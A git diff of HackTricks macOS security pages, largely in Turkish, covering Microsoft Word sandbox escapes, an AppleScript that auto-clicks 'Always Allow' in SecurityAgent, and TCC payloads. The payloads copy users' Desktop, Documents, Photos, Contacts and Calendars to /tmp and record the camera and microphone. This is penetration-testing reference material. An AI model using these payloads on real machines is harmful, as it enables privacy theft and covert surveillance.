-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 82716a987..60b34ae39 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,72 +1,78 @@ -# macOS Office Sandbox Geçişleri +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile öğrenin! +Support HackTricks -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Word Sandbox Geçişi Launch Agentlar aracılığıyla +### Word Sandbox bypass via Launch Agents -Uygulama, **`com.apple.security.temporary-exception.sbpl`** yetkisi kullanarak **özel bir Sandbox** kullanır ve bu özel Sandbox, dosya adı `~$` ile başladığı sürece herhangi bir yere dosya yazmaya izin verir: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Uygulama, **`com.apple.security.temporary-exception.sbpl`** yetkisini kullanarak **özel bir Sandbox** kullanıyor ve bu özel sandbox, dosya adının `~$` ile başlaması koşuluyla her yere dosya yazılmasına izin veriyor: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Bu nedenle, kaçış işlemi, `~/Library/LaunchAgents/~$escape.plist` konumunda bir `plist` LaunchAgent'ı yazmak kadar kolaydı. +Bu nedenle, kaçış yapmak **`~/Library/LaunchAgents/~$escape.plist`** içinde bir **`plist`** LaunchAgent yazmak kadar kolaydı. -[**Orijinal rapora buradan**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/) bakın. +[**orijinal raporu buradan kontrol edin**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Word Sandbox Geçişi Login Öğeleri ve zip ile +### Word Sandbox bypass via Login Items and zip -İlk kaçıştan hatırlayın, Word, `~$` ile başlayan keyfi dosyalar yazabilir, ancak önceki zafiyetin düzeltmesinden sonra `/Library/Application Scripts` veya `/Library/LaunchAgents` dizinlerine yazmak mümkün olmamıştır. +İlk kaçıştan hatırlayın, Word `~$` ile başlayan rastgele dosyalar yazabilir, ancak önceki güvenlik açığının yamanmasından sonra `/Library/Application Scripts` veya `/Library/LaunchAgents` içine yazmak mümkün değildi. -Sandbox içinden bir **Giriş Öğesi** (kullanıcı oturum açtığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **imzalanmadıkça** çalışmayacak ve argüman eklemek mümkün olmayacak (yani **`bash`** kullanarak ters kabuk çalıştıramazsınız). +Sandbox içinde bir **Login Item** (kullanıcı giriş yaptığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **notarize edilmedikçe** **çalışmayacak** ve **argüman eklemek mümkün değil** (yani sadece **`bash`** kullanarak bir ters shell çalıştıramazsınız). -Önceki Sandbox geçişinden sonra, Microsoft `~/Library/LaunchAgents` dizinine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Giriş Öğesi** olarak eklerseniz, `Archive Utility` bunu mevcut konumunda sadece **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` dizininde `LaunchAgents` klasörü oluşturulmadığından, `LaunchAgents/~$escape.plist` konumunda bir plist'i sıkıştırıp **zip dosyasını `~/Library`** dizinine yerleştirmek mümkün olmuştur, böylece açıldığında kalıcılık hedefine ulaşacaktır. +Önceki Sandbox kaçışından sonra, Microsoft `~/Library/LaunchAgents` içine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Login Item olarak koyarsanız**, `Archive Utility` sadece mevcut konumda **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` içindeki `LaunchAgents` klasörü oluşturulmadığı için, **`LaunchAgents/~$escape.plist`** içindeki bir plist'i **zipleyip** **`~/Library`** içine yerleştirmek mümkün oldu, böylece açıldığında kalıcılık hedefine ulaşacaktır. -[**Orijinal rapora buradan**](https://objective-see.org/blog/blog\_0x4B.html) bakın. +[**orijinal raporu buradan kontrol edin**](https://objective-see.org/blog/blog\_0x4B.html). -### Word Sandbox Geçişi Login Öğeleri ve .zshenv ile +### Word Sandbox bypass via Login Items and .zshenv -(İlk kaçıştan hatırlayın, Word, `~$` ile başlayan keyfi dosyalar yazabilir). +(İlk kaçıştan hatırlayın, Word `~$` ile başlayan rastgele dosyalar yazabilir). -Ancak, önceki teknik bir kısıtlamaya sahipti, eğer **`~/Library/LaunchAgents`** dizini başka bir yazılım tarafından oluşturulduysa başarısız olacaktı. Bu nedenle, bunun için farklı bir Login Öğeleri zinciri keşfedildi. +Ancak, önceki teknik bir sınırlamaya sahipti; eğer **`~/Library/LaunchAgents`** klasörü başka bir yazılım tarafından oluşturulmuşsa, başarısız oluyordu. Bu nedenle, bunun için farklı bir Login Items zinciri keşfedildi. -Saldırgan, yürütülecek yükü içeren **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturabilir ve ardından bunları zipleyebilir ve zip dosyasını kurbanın kullanıcı klasörüne **`~/~$escape.zip`** yazabilir. +Bir saldırgan, çalıştırılacak yüklemi içeren **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturabilir ve ardından bunları zipleyip **kurbanın** kullanıcı klasörüne yazabilirdi: **`~/~$escape.zip`**. -Daha sonra, zip dosyasını **Login Öğeleri'ne** ve ardından **`Terminal`** uygulamasına ekleyin. Kullanıcı yeniden oturum açtığında, zip dosyası kullanıcının dosyasına sıkıştırılmadan açılacak ve **`.bash_profile`** ve **`.zshenv`** üzerine yazacak ve bu nedenle terminal bu dosyalardan birini yürütecektir (bash veya zsh kullanılıp kullanılmadığına bağlı olarak). +Sonra, zip dosyasını **Login Items**'a ekleyip ardından **`Terminal`** uygulamasını ekleyin. Kullanıcı tekrar giriş yaptığında, zip dosyası kullanıcı dosyasında açılacak, **`.bash_profile`** ve **`.zshenv`** dosyalarını üzerine yazacak ve dolayısıyla terminal bu dosyalardan birini çalıştıracaktır (bash veya zsh kullanılıp kullanılmadığına bağlı olarak). -[**Orijinal rapora buradan**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) bakın. +[**orijinal raporu buradan kontrol edin**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Word Sandbox Geçişi Open ve env değişkenleri ile +### Word Sandbox Bypass with Open and env variables -Sandbox süreçlerinden, diğer süreçleri **`open`** yardımıyla çağırmak hala mümkündür. Dahası, bu süreçler kendi Sandbox'larında çalışacaktır. +Sandboxlı süreçlerden, diğer süreçleri **`open`** aracıyla çağırmak hala mümkündür. Dahası, bu süreçler **kendi sandbox'larında** çalışacaktır. -`open` yardımcı programının, **belirli env** değişkenleriyle bir uygulamayı çalıştırmak için **`--env`** seçeneğine sahip olduğu keşfedildi. Bu nedenle, Sandbox'ın **içinde** bir klasörün içine **`.zshenv` dosyası** oluşturmak ve `open`'ı kullanarak `--env` ile **`HOME` değişkenini** o klasöre ayarlamak ve bu `Terminal` uygulamasını açmak mümkün oldu, bu da `.zshenv` dosyasını yürütecektir (bir nedenle değişken `__OSINSTALL_ENVIROMENT`'in ayarlanması gerekiyordu). +Open aracının **belirli env** değişkenleri ile bir uygulama çalıştırmak için **`--env`** seçeneğine sahip olduğu keşfedildi. Bu nedenle, **sandbox** içinde bir klasör içinde **`.zshenv` dosyası** oluşturmak ve `--env` ile `HOME` değişkenini o klasöre ayarlayarak `Terminal` uygulamasını açmak mümkün oldu; bu, `.zshenv` dosyasını çalıştıracaktır (bir nedenle `__OSINSTALL_ENVIROMENT` değişkenini de ayarlamak gerekiyordu). -[**Orijinal rapora buradan**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/) bakın. +[**orijinal raporu buradan kontrol edin**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Word Sandbox Geçişi Open ve stdin ile +### Word Sandbox Bypass with Open and stdin -**`open`** yardımcı programı ayrıca **`--stdin`** parametresini de desteklemektedir (ve önceki geçişten sonra `--env` kullanmak artık mümkün değildi). +**`open`** aracı ayrıca **`--stdin`** parametresini destekliyordu (ve önceki kaçıştan sonra `--env` kullanmak artık mümkün değildi). -Mesele şu ki, **`python`** Apple tarafından imzalanmış olsa bile, **`karantina`** özniteliğine sahip bir betiği **çalıştırmaz**. Bununla birlikte, stdin'den bir betik geçirilebildiğinden, karantinaya alınıp alınmadığı kontrol edilmez: +Şu durum var ki, **`python`** Apple tarafından imzalanmış olsa da, **`quarantine`** niteliğine sahip bir betiği **çalıştırmaz**. Ancak, stdin'den bir betik geçirebilmek mümkündü, böylece karantinada olup olmadığını kontrol etmeyecekti: -1. Keyfi Python komutları içeren bir **`~$exploit.py`** dosyası bırakın. -2. _open_ **`–stdin='~$exploit.py' -a Python`** komutunu çalıştırın, bu da Python uygulamasını bıraktığımız dosya ile standart girişi olarak çalıştırır. Python kodumuzu mutlu bir şekilde çalıştırır ve _launchd_'nin bir alt süreci olduğu için Word'ün sandbox kurallarına bağlı değildir. +1. Rastgele Python komutları içeren bir **`~$exploit.py`** dosyası bırakın. +2. _open_ **`–stdin='~$exploit.py' -a Python`** komutunu çalıştırın; bu, Python uygulamasını standart girdi olarak bıraktığımız dosya ile çalıştırır. Python, kodumuzu memnuniyetle çalıştırır ve çünkü bu, _launchd_'nin bir çocuk süreci olduğundan, Word'ün sandbox kurallarına bağlı değildir. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile öğrenin! +Support HackTricks -HackTricks'i desteklemenin diğer yolları: +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index 0bf45bf59..f8089a3cc 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,54 +1,56 @@ -# macOS Apple Scriptleri +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Support HackTricks -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Apple Scriptleri +## Apple Scripts -Bu, **uzaktaki işlemlerle etkileşimde bulunmak için kullanılan bir betik dili**dir. Başka işlemlere bazı eylemler yapmaları için sormak oldukça kolaydır. **Kötü amaçlı yazılımlar**, diğer işlemler tarafından dışa aktarılan işlevleri kötüye kullanabilir.\ -Örneğin, bir kötü amaçlı yazılım, tarayıcıda açılan sayfalara **keyfi JS kodu enjekte** edebilir. Veya kullanıcıdan istenen bazı izinlere **otomatik olarak tıklayabilir**. +Bu, **uzaktan süreçlerle etkileşimde bulunan** görev otomasyonu için kullanılan bir betik dilidir. **Diğer süreçlerden bazı eylemleri gerçekleştirmesini istemek** oldukça kolay hale getirir. **Kötü amaçlı yazılımlar**, bu özellikleri kullanarak diğer süreçler tarafından dışa aktarılan işlevleri kötüye kullanabilir.\ +Örneğin, bir kötü amaçlı yazılım **tarayıcıda açılan sayfalara rastgele JS kodu enjekte edebilir**. Veya **kullanıcıdan istenen bazı izinleri otomatik olarak tıklayabilir**; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` -İşte bazı örnekler: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Applescript kullanarak kötü amaçlı yazılım hakkında daha fazla bilgiyi [**burada**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) bulabilirsiniz. +Burada bazı örnekler var: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +Kötü amaçlı yazılımlar hakkında daha fazla bilgi için [**buradan**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) ulaşabilirsiniz. -Apple scriptleri kolayca "**derlenebilir**". Bu sürümler `osadecompile` ile kolayca "**derlenebilir**". +Apple script'leri kolayca "**derlenebilir**". Bu sürümler `osadecompile` ile kolayca "**açılabilir**". -Ancak, bu scriptler aynı zamanda **"Salt okunur" olarak dışa aktarılabilir** ( "Dışa aktar..." seçeneğiyle): +Ancak, bu script'ler **"Sadece okunur"** olarak da **dışa aktarılabilir** ( "Dışa Aktar..." seçeneği aracılığıyla):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -Ve bu durumda içerik, `osadecompile` ile bile decompile edilemez. +ve bu durumda içerik `osadecompile` ile bile decompile edilemez -Ancak, yine de bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar vardır, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı, [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) ile birlikte, betiğin nasıl çalıştığını anlamak için çok faydalı olacaktır. +Ancak, bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar hala mevcuttur, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı ve [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) aracı, scriptin nasıl çalıştığını anlamak için çok faydalı olacaktır. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 94aca8bfd..3a3fdfb6a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,28 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Support HackTricks -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ### Masaüstü -* **Yetkilendirme**: Yok +* **Yetki**: Yok * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Desktop`'i `/tmp/desktop`'a kopyala. - +`$HOME/Desktop`'i `/tmp/desktop`'e kopyala. ```objectivec #include #include @@ -57,8 +57,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Desktop`'i `/tmp/desktop`'a kopyalayın. - +`$HOME/Desktop`'i `/tmp/desktop`'e kopyala. ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -67,13 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Belgeler -* **Yetkilendirme**: Yok +* **Yetki**: Yok * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Documents`'ı `/tmp/documents` dizinine kopyala. - +`$HOME/Documents` dizinini `/tmp/documents` dizinine kopyala. ```objectivec #include #include @@ -108,8 +106,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/`Documents klasörünü `/tmp/documents` klasörüne kopyalayın. - +`$HOME/`Documents'ı `/tmp/documents`'a kopyala. ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -118,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### İndirmeler -* **Yetkilendirme**: Yok +* **Yetki**: Yok * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} -{% tab title="undefined" %} -`$HOME/Downloads` klasörünü `/tmp/downloads` klasörüne kopyala. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} +`$HOME/Downloads` dizinini `/tmp/downloads` dizinine kopyala. ```objectivec #include #include @@ -161,8 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Dowloads`'ı `/tmp/downloads` dizinine kopyalayın. - +`$HOME/Dowloads`'ı `/tmp/downloads`'a kopyala. ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -171,13 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads" ### Fotoğraflar Kütüphanesi -* **Yetkilendirme**: `com.apple.security.personal-information.photos-library` +* **Yetki**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Pictures/Photos Library.photoslibrary`'yi `/tmp/photos` dizinine kopyalayın. - +`$HOME/Pictures/Photos Library.photoslibrary` dosyasını `/tmp/photos` dizinine kopyalayın. ```objectivec #include #include @@ -213,7 +205,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} `$HOME/Pictures/Photos Library.photoslibrary` dosyasını `/tmp/photos` dizinine kopyalayın. - ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -222,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Kişiler -* **Yetkilendirme**: `com.apple.security.personal-information.addressbook` +* **Yetki**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Library/Application Support/AddressBook`'u `/tmp/contacts` dizinine kopyalayın. - +`$HOME/Library/Application Support/AddressBook` dizinini `/tmp/contacts` dizinine kopyalayın. ```objectivec #include #include @@ -263,8 +253,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Library/Application Support/AddressBook`'u `/tmp/contacts` dizinine kopyalayın. - +`$HOME/Library/Application Support/AddressBook` dizinini `/tmp/contacts` dizinine kopyalayın. ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -273,13 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Takvim -* **Yetkilendirme**: `com.apple.security.personal-information.calendars` +* **Yetki**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` {% tabs %} {% tab title="ObjectiveC" %} -`$HOME/Library/Calendars`'ı `/tmp/calendars` dizinine kopyalayın. - +`$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyalayın. ```objectivec #include #include @@ -314,16 +302,21 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Library/Calendars`'ı `/tmp/calendars` dizinine kopyalayın. - +`$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyala. ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} + +### Kamera + +* **Yetki**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` {% tabs %} -{% tab title="ObjetiveC - Kayıt" %} -3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** dizinine kaydedin. - +{% tab title="ObjetiveC - Kaydet" %} +3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** konumuna kaydedin. ```objectivec #import #import @@ -402,8 +395,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="ObjectiveC - Kontrol" %} -Kameraya erişimi olan programı kontrol edin. - +Programın kameraya erişimi olup olmadığını kontrol edin. ```objectivec #import #import @@ -437,24 +429,20 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kamerayla fotoğraf çekin - ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` {% endtab %} {% endtabs %} -#### Mikrofon +### Mikrofon -* **Yetkilendirme**: **com.apple.security.device.audio-input** +* **Yetki**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="undefined" %} -5 saniye ses kaydedin ve `/tmp/recording.m4a`'ya kaydedin. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC - Kaydet" %} +5 saniye ses kaydedin ve `/tmp/recording.m4a` dosyasına kaydedin ```objectivec #import #import @@ -553,11 +541,8 @@ fclose(stderr); // 